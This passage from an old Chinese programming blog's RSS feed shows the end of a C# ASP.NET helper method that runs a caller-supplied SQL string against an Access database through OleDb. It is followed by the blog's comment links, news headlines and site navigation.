&nbsp;v_string_sql&nbsp;&nbsp;SQL语句，要执行的SQL<BR>&nbsp;* &nbsp;nonQuery&nbsp;&nbsp;&nbsp;执行方式，为true的话执行ExecuteNonQuery，适合执行INSERT类语句<BR>&nbsp;* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;为false则会将查询内容输出到rs对象中，适合执行SELECT类语句<BR>&nbsp;***************************************************************************/<BR>&nbsp;public bool DatabaseOption(string v_string_sql, bool nonQuery)<BR>&nbsp;{<BR>&nbsp;&nbsp;string v_string_db = Server.MapPath(".") + "\\" + v_string_dbname;<BR>&nbsp;&nbsp;string v_string_conn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + v_string_db;<BR>&nbsp;&nbsp;bool v_bool_retValue = false;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;// 构造数据库操作对象<BR>&nbsp;&nbsp;conn = new OleDbConnection(v_string_conn);<BR>&nbsp;&nbsp;cmd = new OleDbCommand(v_string_sql, conn);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;// 尝试打开数据库，并读取数据<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;conn.Open();<BR>&nbsp;&nbsp;&nbsp;if(nonQuery)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;cmd.ExecuteNonQuery();<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;rs = cmd.ExecuteReader();<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;v_bool_retValue = true;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(OleDbException ex)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;v_bool_retValue = false;<BR>&nbsp;&nbsp;&nbsp;conn.Close();<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;// 如果是执行的空查询操作那么使用完连接后就关闭它<BR>&nbsp;&nbsp;if(nonQuery) conn.Close();<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;return(v_bool_retValue);<BR>&nbsp;}<BR>&lt;/script&gt;</P><img src="http://www.cnblogs.com/maxun/aggbug/333313.html?type=1" width="1" height="1" alt=""/><p>评论: 0　<a href="http://www.cnblogs.com/maxun/archive/2006/02/19/333313.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2006/02/19/333313.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item></channel></rss>